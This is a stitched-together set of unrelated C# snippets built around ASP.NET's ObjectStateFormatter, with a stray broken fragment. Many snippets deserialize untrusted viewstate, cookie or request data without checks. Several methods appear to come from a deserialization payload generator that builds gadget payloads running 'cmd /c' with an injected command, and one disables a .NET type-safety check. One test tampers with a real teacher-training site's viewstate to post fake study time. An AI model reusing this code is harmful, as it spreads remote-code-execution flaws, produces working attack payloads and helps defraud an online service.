internal static object GetStringDeserialized(string value)
{
value = value.Replace(' ', '+');
// TODO: decrypt
ObjectStateFormatter formatter = new ObjectStateFormatter();
if (string.IsNullOrEmpty(value))
{
return(null);
}
else if (value.StartsWith("session-"))
{
return(UploadSession.Deserialize(value.Substring("session-".Length)));
}
else if (value.StartsWith("request-"))
{
return(UploadRequest.Deserialize(value.Substring("request-".Length)));
}
else if (value.StartsWith("sessionlist-"))
{
string[] uploadSessionStrings = (string[])formatter.Deserialize(value.Substring("sessionlist-".Length));
List <UploadSession> sessions = new List <UploadSession>();
foreach (string sessionString in uploadSessionStrings)
{
sessions.Add(UploadSession.Deserialize(sessionString));
}
return(sessions);
}
else if (value.StartsWith("requestlist-"))
{
string[] uploadRequestStrings = (string[])formatter.Deserialize(value.Substring("requestlist-".Length));
List <UploadRequest> requests = new List <UploadRequest>();
foreach (string requestString in uploadRequestStrings)
{
requests.Add(UploadRequest.Deserialize(requestString));
}
return(requests);
}
else
{
return(formatter.Deserialize(value));
}
}
private static AntiForgeryData DecryptCookie(string value, string salt)
{
AntiForgeryData token = new AntiForgeryData();
try
{
ObjectStateFormatter formatter = new ObjectStateFormatter();
Triplet triplet;
byte[] decode = MachineKey.Unprotect(Encoding.UTF8.GetBytes(value), "Authentication token");
// var decode = MachineKey.Decode(value, MachineKeyProtection.All);
if (decode == null)
{
throw new ArgumentException("Unable to decrypt.");
}
using (MemoryStream stream = new MemoryStream(decode))
{
triplet = (Triplet)formatter.Deserialize(stream);
}
return(Decrypt(value, formatter, triplet, salt, token));
}
catch (Exception)
{
throw new HttpAntiForgeryException();
}
}
protected override object LoadPageStateFromPersistenceMedium()
{
var compressedViewState = Request.Form[CompressedViewstateKey];
var bytes = Uncompress(Convert.FromBase64String(compressedViewState));
return(_formatter.Deserialize(Convert.ToBase64String(bytes)));
}
public static T Deserialize <T>(byte[] info, bool compress)
{
T ret = default(T);
if (info == null || info.Length <= 0)
{
return(ret);
}
if (compress)
{
info = CompressHelper.DeCompressBytes(info);
}
MemoryStream stream = MemoryStreamStacker.GetMemoryStream();
try
{
stream.Write(info, 0, info.Length);
stream.Position = 0L;
ret = (T)InnerStateFormatter.Deserialize(stream);
}
finally
{
MemoryStreamStacker.ReleaseMemoryStream(stream);
}
return(ret);
}
){kind=link}
/// <summary>
///
/// </summary>
/// <param name="data"></param>
/// <returns></returns>
public static Dictionary <string, PersonalizationInfo> Decode(byte[] data)
{
if (data == null || data.Length == 0)
{
return(null);
}
try
{
Dictionary <string, PersonalizationInfo> result = new Dictionary <string, PersonalizationInfo>();
Queue <object> DataQueue;
ObjectStateFormatter formatter = new ObjectStateFormatter();
using (MemoryStream stream = new MemoryStream(data))
{
object[] DataArray = (object[])formatter.Deserialize(stream);
DataQueue = new Queue <object>(DataArray);
}
int version = (int)DataQueue.Dequeue();
if (version == 2)
{
int NumberOfParts = (int)DataQueue.Dequeue();
for (int PartCounter = 0; PartCounter < NumberOfParts; PartCounter++)
{
PersonalizationInfo info = PersonalizationInfo.FromObjectQueue(DataQueue);
result.Add(info.ControlID, info);
}
}
return(result);
}
catch { }
return(null);
}
// <snippet2>
private ICollection LoadControlProperties(string serializedProperties)
{
ICollection controlProperties = null;
// Create an ObjectStateFormatter to deserialize the properties.
ObjectStateFormatter formatter = new ObjectStateFormatter();
try
{
// Call the Deserialize method.
controlProperties = (ArrayList)formatter.Deserialize(serializedProperties);
}
catch (HttpException e)
{
ViewStateException vse = (ViewStateException)e.InnerException;
String logMessage;
logMessage = "ViewStateException. Path: " + vse.Path + Environment.NewLine;
logMessage += "PersistedState: " + vse.PersistedState + Environment.NewLine;
logMessage += "Referer: " + vse.Referer + Environment.NewLine;
logMessage += "UserAgent: " + vse.UserAgent + Environment.NewLine;
LogEvent(logMessage);
if (vse.IsConnected)
{
HttpContext.Current.Response.Redirect("ErrorPage.aspx");
}
else
{
throw e;
}
}
return(controlProperties);
}
public static object ObjectStateFormatter_deserialize(string str)
{
byte[] byteArray = Convert.FromBase64String(str);
MemoryStream ms = new MemoryStream(byteArray);
ObjectStateFormatter sf = new ObjectStateFormatter();
return(sf.Deserialize(ms));
}
public static ArrayList DeSerializeStringToArray2(string eventValidation)
{
ObjectStateFormatter _formatter = new ObjectStateFormatter();
string test = _formatter.Deserialize(eventValidation).ToString();
Console.WriteLine(test);
return(new ArrayList());
}
LoadPageStateFromPersistenceMedium()
{
string vsString = Request.Form["__COMPRESSEDVIEWSTATE"];
byte[] bytes = Convert.FromBase64String(vsString);
bytes = CompressViewState.Decompress(bytes);
return(_formatter.Deserialize(Convert.ToBase64String(bytes)));
}
private void WriteEventValidation(string key, string value)
{
if (key == "__EVENTVALIDATION")
{
var formatter = new ObjectStateFormatter();
var array = formatter.Deserialize(value);
}
}
protected virtual object DeserializeViewState(string viewState, out string hash)
{
ObjectStateFormatter formatter = new ObjectStateFormatter();
hash = MD5HashHelper.HashUsingDefaultEncoding(viewState ?? string.Empty);
var result = formatter.Deserialize(viewState);
return(result);
}
//Security Warning: The following code is intentionally vulnerable to a serialization vulnerability
public T Deserialize(string data)
{
var ser = new ObjectStateFormatter();
var bytes = Convert.FromBase64String(data);
using (var stream = new MemoryStream(bytes))
{
return((T)ser.Deserialize(stream));
}
}
public static PropertyBag CreatePropertyBagFromState(string state, bool readOnly)
{
var formatter = new ObjectStateFormatter();
var bag = (PropertyBag)formatter.Deserialize(state);
if (readOnly)
{
bag._isReadOnly = true;
}
return(bag);
}
// <snippet2>
private ICollection LoadControlProperties(string serializedProperties)
{
ICollection controlProperties = null;
// Create an ObjectStateFormatter to deserialize the properties.
ObjectStateFormatter formatter = new ObjectStateFormatter();
// Call the Deserialize method.
controlProperties = (ArrayList)formatter.Deserialize(serializedProperties);
return(controlProperties);
}
private void cmdViewStateTest_Click(object sender, EventArgs e)
{
string viewState = txtOriginalEventString.Text;
ObjectStateFormatter _formatter = new ObjectStateFormatter();
object _v = _formatter.Deserialize(viewState);
Pair _parent = (System.Web.UI.Pair)((System.Web.UI.Pair)_v).First;
Pair _second = (System.Web.UI.Pair)_parent.Second;
ArrayList _third = (ArrayList)_second.Second;
Console.WriteLine("hello");
}
private object DeSerializeInternal(IStateFormatter StateFormatter, byte[] bytes)
{
ObjectStateFormatter format = (ObjectStateFormatter)StateFormatter;
MemoryStream memoryStream = (MemoryStream)_GetMemoryStream.Invoke(format, null);
memoryStream.Write(bytes, 0, bytes.Length);
memoryStream.Position = 0;
object viewState = format.Deserialize(memoryStream);
memoryStream.Position = 0;
memoryStream.SetLength(0);
return(viewState);
}
/// <summary>
/// LoadPageStateFromPersistenceMedium - Decompress Gzip ViewState
/// </summary>
protected override object LoadPageStateFromPersistenceMedium()
{
try
{
string viewState = base.LoadPageStateFromPersistenceMedium().ToString() != "System.Web.UI.Pair" ? base.LoadPageStateFromPersistenceMedium().ToString() : ((Pair)base.LoadPageStateFromPersistenceMedium()).Second.ToString();
byte[] bytes = Convert.FromBase64String(viewState);
bytes = Compressor.Decompress(bytes);
return(_objectStateFormatter.Deserialize(Convert.ToBase64String(bytes)));
}
catch
{
return(base.LoadPageStateFromPersistenceMedium());
}
}
/// <summary>
/// Deserializes a string generated by <see cref="UploadSession.Serialize" /> into an <see cref="UploadSession" /> instance.
/// </summary>
/// <param name="value">The string to deserialize.</param>
/// <returns>An <see cref="UploadSession" /> instance.</returns>
public static UploadSession Deserialize(string value)
{
ObjectStateFormatter formatter = new ObjectStateFormatter();
object[] values = formatter.Deserialize(value) as object[];
if (values != null && values.Length > 0)
{
return(new UploadSession(values));
}
else
{
return(null);
}
}
/// <summary>
/// Deserializes the __EVENTVALIDATION value found in the html hidden field to an
/// array list which can then be manipulated.
/// </summary>
/// <param name="eventValidation"></param>
/// <returns></returns>
public static ArrayList DeSerializeStringToArray(string eventValidation)
{
ArrayList list = new ArrayList();
ObjectStateFormatter _formatter = new ObjectStateFormatter();
try
{
list = (ArrayList)_formatter.Deserialize(eventValidation);
}
catch (InvalidCastException e) // If we get this, it is probably .Net 4.0
{
list.Add(".Net 4.0");
}
return(list);
}
/// <summary>
/// Метод по обработке запроса
/// </summary>
public void ProcessRequest(HttpContext context)
{
//todo: если такой GUID не существуют, доделать возврат ошибки и перегрузить страницу всвязи с устареванием сессии.
//разместите здесь вашу реализацию обработчика.
if (!String.IsNullOrWhiteSpace(context.Request["__VIEWSTATE"]))
{
var formatter = new ObjectStateFormatter();
var pair = formatter.Deserialize(context.Request["__VIEWSTATE"]) as Pair;
if (pair != null && pair.First != null && pair.First.ToString().Length == 36)
{
if (StsSqlPageStatePersister.ResetPageStateTimeout(new Guid(pair.First.ToString())))
{
context.Response.Write("OK");
}
}
}
}
/// <summary>
/// 加载页面状态
/// </summary>
public override void Load()
{
//取得保存在客户端的状态内容
String postbackstate = Page.Request.Form[STATEKEY];
if (!String.IsNullOrEmpty(postbackstate))
{
//解压，反序列化
//asp.net的viewstate包括控件状态和视图状态
//存储两个相关对象
postbackstate = SevenZipSharpHelper.Decompress(postbackstate);
ObjectStateFormatter format = new ObjectStateFormatter();
Pair data = (Pair)format.Deserialize(postbackstate);
ViewState = data.First;
ControlState = data.Second;
}
}
protected override object LoadPageStateFromPersistenceMedium()
{
try
{
// ReSharper disable once RedundantAssignment
String viewState = "";
// ReSharper disable once PossibleNullReferenceException
viewState = base.LoadPageStateFromPersistenceMedium().ToString() != "System.Web.UI.Pair" ? base.LoadPageStateFromPersistenceMedium().ToString() : ((System.Web.UI.Pair)base.LoadPageStateFromPersistenceMedium()).Second.ToString();
byte[] bytes = Convert.FromBase64String(viewState);
bytes = Compressor.Decompress(bytes);
return(_objectStateFormatter.Deserialize(Convert.ToBase64String(bytes)));
}
catch
{
return(base.LoadPageStateFromPersistenceMedium());
}
}
public object Serialize(object cmdobj, string formatter, Boolean test)
{
MemoryStream stream = new MemoryStream();
if (formatter.ToLower().Equals("binaryformatter"))
{
BinaryFormatter fmt = new BinaryFormatter();
fmt.Serialize(stream, cmdobj);
if (test)
{
try
{
stream.Position = 0;
fmt.Deserialize(stream);
}
catch {
}
}
return(stream.ToArray());
}
else if (formatter.ToLower().Equals("objectstateformatter"))
{
ObjectStateFormatter osf = new ObjectStateFormatter();
osf.Serialize(stream, cmdobj);
if (test)
{
try
{
stream.Position = 0;
osf.Deserialize(stream);
}
catch
{
}
}
return(stream.ToArray());
}
else if (formatter.ToLower().Equals("soapformatter"))
{
SoapFormatter sf = new SoapFormatter();
sf.Serialize(stream, cmdobj);
if (test)
{
try
{
stream.Position = 0;
sf.Deserialize(stream);
}
catch
{
}
}
return(stream.ToArray());
}
else if (formatter.ToLower().Equals("netdatacontractserializer"))
{
NetDataContractSerializer ndcs = new NetDataContractSerializer();
ndcs.Serialize(stream, cmdobj);
if (test)
{
try
{
stream.Position = 0;
ndcs.Deserialize(stream);
}
catch
{
}
}
return(stream.ToArray());
}
else if (formatter.ToLower().Equals("losformatter"))
{
LosFormatter lf = new LosFormatter();
lf.Serialize(stream, cmdobj);
if (test)
{
try
{
stream.Position = 0;
lf.Deserialize(stream);
}
catch
{
}
}
return(stream.ToArray());
}
else if (formatter.ToLower().Equals("json.net"))
{
String payload = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd','/c " + cmdobj + @"']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
if (test)
{
try
{
Object obj = JsonConvert.DeserializeObject <Object>(payload, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});;
}
catch
{
}
}
return(payload);
}
else if (formatter.ToLower().Equals("fastjson"))
{
String payload = @"{
""$types"":{
""System.Windows.Data.ObjectDataProvider, PresentationFramework, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = 31bf3856ad364e35"":""1"",
""System.Diagnostics.Process, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""2"",
""System.Diagnostics.ProcessStartInfo, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""3""
},
""$type"":""1"",
""ObjectInstance"":{
""$type"":""2"",
""StartInfo"":{
""$type"":""3"",
""FileName"":""cmd"",
""Arguments"":""/c " + cmdobj + @"""
}
},
""MethodName"":""Start""
}";
if (test)
{
try
{
var instance = JSON.ToObject <Object>(payload);
}
catch
{
}
}
return(payload);
}
else if (formatter.ToLower().Equals("javascriptserializer"))
{
String payload = @"{
'__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'ObjectInstance':{
'__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'StartInfo': {
'__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'FileName':'cmd',
'Arguments':'/c " + cmdobj + @"'
}
}
}";
if (test)
{
try
{
JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver());
var json_req = jss.Deserialize <Object>(payload);
}
catch
{
}
}
return(payload);
}
else
{
throw new Exception("Formatter not supported");
}
}
public object Serialize(object payloadObj, string formatter, InputArgs inputArgs)
{
// Disable ActivitySurrogate type protections during generation
ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
MemoryStream stream = new MemoryStream();
if (formatter.ToLower().Equals("binaryformatter"))
{
BinaryFormatter fmt = new BinaryFormatter();
fmt.Serialize(stream, payloadObj);
if (inputArgs.Test)
{
try
{
stream.Position = 0;
fmt.Deserialize(stream);
}
catch (Exception err) {
Debugging.ShowErrors(inputArgs, err);
}
}
return(stream.ToArray());
}
else if (formatter.ToLower().Equals("objectstateformatter"))
{
ObjectStateFormatter osf = new ObjectStateFormatter();
osf.Serialize(stream, payloadObj);
if (inputArgs.Test)
{
try
{
stream.Position = 0;
osf.Deserialize(stream);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(stream.ToArray());
}
else if (formatter.ToLower().Equals("soapformatter"))
{
SoapFormatter sf = new SoapFormatter();
sf.Serialize(stream, payloadObj);
if (inputArgs.Minify)
{
stream.Position = 0;
if (inputArgs.UseSimpleType)
{
stream = XMLMinifier.Minify(stream, new String[] { "Microsoft.PowerShell.Editor" }, null, FormatterType.SoapFormatter, true);
}
else
{
stream = XMLMinifier.Minify(stream, null, null, FormatterType.SoapFormatter, true);
}
}
if (inputArgs.Test)
{
try
{
stream.Position = 0;
sf.Deserialize(stream);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(stream.ToArray());
}
else if (formatter.ToLower().Equals("netdatacontractserializer"))
{
NetDataContractSerializer ndcs = new NetDataContractSerializer();
ndcs.Serialize(stream, payloadObj);
if (inputArgs.Minify)
{
stream.Position = 0;
if (inputArgs.UseSimpleType)
{
stream = XMLMinifier.Minify(stream, new string[] { "mscorlib", "Microsoft.PowerShell.Editor" }, null, FormatterType.NetDataContractXML, true);
}
else
{
stream = XMLMinifier.Minify(stream, null, null, FormatterType.NetDataContractXML, true);
}
}
if (inputArgs.Test)
{
try
{
stream.Position = 0;
ndcs.Deserialize(stream);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(stream.ToArray());
}
else if (formatter.ToLower().Equals("losformatter"))
{
LosFormatter lf = new LosFormatter();
lf.Serialize(stream, payloadObj);
if (inputArgs.Test)
{
try
{
stream.Position = 0;
lf.Deserialize(stream);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(stream.ToArray());
}
else
{
throw new Exception("Formatter not supported");
}
}
public static object StringDeserialize(string objString)
{
ObjectStateFormatter osf = new ObjectStateFormatter();
return(osf.Deserialize(objString));
}
public object Serialize(object cmdobj, string formatter, Boolean test)
{
MemoryStream stream = new MemoryStream();
if (formatter.ToLower().Equals("binaryformatter"))
{
BinaryFormatter fmt = new BinaryFormatter();
fmt.Serialize(stream, cmdobj);
if (test)
{
try
{
stream.Position = 0;
fmt.Deserialize(stream);
}
catch
{
}
}
return(stream.ToArray());
}
else if (formatter.ToLower().Equals("objectstateformatter"))
{
ObjectStateFormatter osf = new ObjectStateFormatter();
osf.Serialize(stream, cmdobj);
if (test)
{
try
{
stream.Position = 0;
osf.Deserialize(stream);
}
catch
{
}
}
return(stream.ToArray());
}
else if (formatter.ToLower().Equals("soapformatter"))
{
SoapFormatter sf = new SoapFormatter();
sf.Serialize(stream, cmdobj);
if (test)
{
try
{
stream.Position = 0;
sf.Deserialize(stream);
}
catch
{
}
}
return(stream.ToArray());
}
else if (formatter.ToLower().Equals("netdatacontractserializer"))
{
NetDataContractSerializer ndcs = new NetDataContractSerializer();
ndcs.Serialize(stream, cmdobj);
if (test)
{
try
{
stream.Position = 0;
ndcs.Deserialize(stream);
}
catch
{
}
}
return(stream.ToArray());
}
else if (formatter.ToLower().Equals("losformatter"))
{
LosFormatter lf = new LosFormatter();
lf.Serialize(stream, cmdobj);
if (test)
{
try
{
stream.Position = 0;
lf.Deserialize(stream);
}
catch
{
}
}
return(stream.ToArray());
}
else
{
throw new Exception("Formatter not supported");
}
}
public void TestMethod2()
{
string viewstate = string.Empty;
string validation = string.Empty;
int bookId = 32;
int studyPlanBookId = 69;
int learned = 143;
string url = string.Format("http://nankaiqu.fxlxm.teacher.com.cn/GuoPeiAdmin/CourseStudy/RecordTimeNew.aspx?bookid={0}&StudyPlanBookID={1}", bookId, studyPlanBookId);
HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(new Uri(url));
request.Method = WebRequestMethods.Http.Get;
request.Referer =
string.Format("http://nankaiqu.fxlxm.teacher.com.cn/GuoPeiAdmin/CourseStudy/StudyfrmNew.aspx?StudyPlanBookID={0}", bookId);
request.Accept = "text/html, application/xhtml+xml, */*";
request.ContentType = "application/x-www-form-urlencoded";
request.Headers.Add("Accept-Language", "en-US");
request.Headers.Add("Accept-Encoding", "gzip,deflate");
request.KeepAlive = true;
request.Headers.Add("Cache-Control", "no-cache");
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
long total = response.ContentLength;
int current = 0;
byte[] content = new byte[1024];
StringBuilder sb = new StringBuilder();
using (Stream rs = response.GetResponseStream())
{
if (rs != null)
{
while (total > current)
{
current += rs.Read(content, 0, content.Length);
sb.Append(Encoding.UTF8.GetString(content, 0, content.Length));
}
rs.Flush();
}
else
{
return;
}
}
string form = sb.ToString();
Match m = Regex.Match(form,
"<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=\"(?<viewstate>.*?)\" />");
if (m.Success)
{
viewstate = m.Groups["viewstate"].Value;
}
m = Regex.Match(form,
"<input type=\"hidden\" name=\"__EVENTVALIDATION\" id=\"__EVENTVALIDATION\" value=\"(?<validation>.*?)\"\\s*/>");
if (m.Success)
{
validation = m.Groups["validation"].Value;
}
string suffix;
ObjectStateFormatter parser = new ObjectStateFormatter();
Pair dviewState = (Pair)parser.Deserialize(viewstate);
Pair one = (Pair)(dviewState.First ?? dviewState.Second);
Pair states = (Pair)one.Second;
ArrayList users = (ArrayList)states.First;
// Change start date time
DateTime started = DateTime.Parse(users[1].ToString());
users[1] = started.AddMinutes(-20).ToString("yyyy-MM-dd hh:mm:ss");
bool exist = users.Cast <object>().Any(o => o is IndexedString && (o as IndexedString).Value == "BookID");
if (!exist)
{
users.Add(new IndexedString("BookID"));
users.Add(bookId.ToString(CultureInfo.InvariantCulture));
}
if (states.Second == null)
{
ArrayList controls = new ArrayList()
{
3, new Pair()
{
First = null,
Second = new ArrayList()
{
13, new Pair()
{
Second = null,
First = new Pair()
{
Second = null,
First = new ArrayList()
{
new IndexedString("Text"), learned.ToString(CultureInfo.InvariantCulture)
}
}
}
}
}
};
states.Second = controls;
}
viewstate = parser.Serialize(dviewState);
int needed = 7;
string name = "教师心理健康与压力管理";
int minites = 20;
int txtUserId = 69973;
string eventTarget = "timeupdate";
string eventArg = string.Empty;
int passedtime = minites * 60; //17*60;
request = (HttpWebRequest)HttpWebRequest.Create(new Uri(url));
request.Method = WebRequestMethods.Http.Post;
request.Referer =
string.Format("http://nankaiqu.fxlxm.teacher.com.cn/GuoPeiAdmin/CourseStudy/RecordTimeNew.aspx?bookid={0}&StudyPlanBookID={1}", bookId, studyPlanBookId);
request.Accept = "text/html, application/xhtml+xml, */*";
request.ContentType = "application/x-www-form-urlencoded";
request.Headers.Add("Accept-Language", "en-US");
request.Headers.Add("Accept-Encoding", "gzip,deflate");
request.KeepAlive = true;
request.Headers.Add("Cache-Control", "no-cache");
form =
string.Format(
"__EVENTTARGET={0}&__EVENTARGUMENT={1}&__VIEWSTATE={2}&txtUserId={3}&passedtime={4}&__EVENTVALIDATION={5}",
eventTarget, eventArg, viewstate, txtUserId, passedtime, validation);
content = Encoding.Default.GetBytes(form);
request.ContentLength = content.Length;
using (Stream s = request.GetRequestStream())
{
s.Write(content, 0, content.Length);
s.Flush();
}
response = (HttpWebResponse)request.GetResponse();
if (response.StatusCode == HttpStatusCode.OK)
{
//long total = response.ContentLength;
current = 1;
content = new byte[1024];
sb = new StringBuilder();
using (Stream rs = response.GetResponseStream())
{
if (rs != null)
{
while (current > 0)
{
current = rs.Read(content, 0, content.Length);
sb.Append(Encoding.UTF8.GetString(content, 0, content.Length));
}
rs.Flush();
}
else
{
Console.WriteLine("{1}: {0} -> Failed, Cannot get response stream.", name,
DateTime.Now.ToShortTimeString());
return;
}
}
form = sb.ToString();
string pattern1 = "(alert\\(\\'你最后一次更新时间是.*?目前系统时间为.*?时间还不够20分钟，所以这次更新时间操作无效。\\'\\));|(alert\\(\\'计时出错，重新计时！\\'\\);)";
Regex r = new Regex(pattern1, RegexOptions.Compiled);
m = r.Match(form);
if (!m.Success)
{
Console.WriteLine("{3}: {0} -> Updated {1}, Remaining {2}", name, minites, needed, DateTime.Now.ToShortTimeString());
}
else
{
Console.WriteLine("{1}: {0} -> Failed, {2}", name, DateTime.Now.ToShortTimeString(), "< 20 mins or timer error");
}
}
else
{
Console.WriteLine("{1}: {0} -> Failed, {2}", name, DateTime.Now.ToShortTimeString(), response.StatusDescription);
}
}
public object Serialize(object cmdobj, string formatter, Boolean test)
{
// Disable ActivitySurrogate type protections during generation
ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
MemoryStream stream = new MemoryStream();
if (formatter.ToLower().Equals("binaryformatter"))
{
BinaryFormatter fmt = new BinaryFormatter();
fmt.Serialize(stream, cmdobj);
if (test)
{
try
{
stream.Position = 0;
fmt.Deserialize(stream);
}
catch {
}
}
return(stream.ToArray());
}
else if (formatter.ToLower().Equals("objectstateformatter"))
{
ObjectStateFormatter osf = new ObjectStateFormatter();
osf.Serialize(stream, cmdobj);
if (test)
{
try
{
stream.Position = 0;
osf.Deserialize(stream);
}
catch
{
}
}
return(stream.ToArray());
}
else if (formatter.ToLower().Equals("soapformatter"))
{
SoapFormatter sf = new SoapFormatter();
sf.Serialize(stream, cmdobj);
if (test)
{
try
{
stream.Position = 0;
sf.Deserialize(stream);
}
catch
{
}
}
return(stream.ToArray());
}
else if (formatter.ToLower().Equals("netdatacontractserializer"))
{
NetDataContractSerializer ndcs = new NetDataContractSerializer();
ndcs.Serialize(stream, cmdobj);
if (test)
{
try
{
stream.Position = 0;
ndcs.Deserialize(stream);
}
catch
{
}
}
return(stream.ToArray());
}
else if (formatter.ToLower().Equals("losformatter"))
{
LosFormatter lf = new LosFormatter();
lf.Serialize(stream, cmdobj);
if (test)
{
try
{
stream.Position = 0;
lf.Deserialize(stream);
}
catch
{
}
}
return(stream.ToArray());
}
else
{
throw new Exception("Formatter not supported");
}
}